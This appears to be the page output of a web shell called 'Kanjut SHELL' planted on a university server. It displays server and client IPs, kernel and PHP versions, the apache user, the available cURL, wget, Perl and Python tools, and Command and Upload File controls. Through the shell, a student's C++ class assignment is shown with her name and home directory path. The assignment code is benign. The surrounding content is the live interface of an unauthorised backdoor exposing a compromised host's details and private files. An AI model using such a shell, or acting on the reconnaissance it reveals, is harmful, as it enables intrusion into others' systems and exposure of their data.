Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 3.138.114.140
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/jcwhiley/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jcwhiley/cs2assign7.cpp
//
// CS212 CS 2 Assignment 7
// Due: Monday April 18, 2011
//
// File Name: cs2assign7.cpp
// Author: Jennifer Whiley
// Instuctor: Dr. Wang
//
// Compile: g++ cs2assign7.cpp
// Run: ./a.out < in7.txt
// Goal: The program will read coordinates from a file 
//       named "in.txt" and output only the points which
//       status is ON. The program will also output the 
//       distance between that point and the origin.


#include <iostream>
using namespace std;
#include <iomanip>

#include "point.h"
#include "pixel.h"

int main()
{
        Pixel one1;
        Pixel org(0, 0, OFF);
        int x, y;
        string swtch;
        StatusType stat;

	cout << fixed << showpoint << setprecision(1) << "\n";	
        cin >> x >> y >> swtch;

        while(cin)
        {
                if (swtch == "ON")
                {       stat = ON;
			one1.Set(x, y, stat);
                        one1.Print();
                        cout << "\n";
                        cout << "Distance: ";
                        one1.Distance(org);
                        cout << "\n\n";
                }
        cin >> x >> y >> swtch;
        }
        
        return 0;
}


Stv3n404 - 2023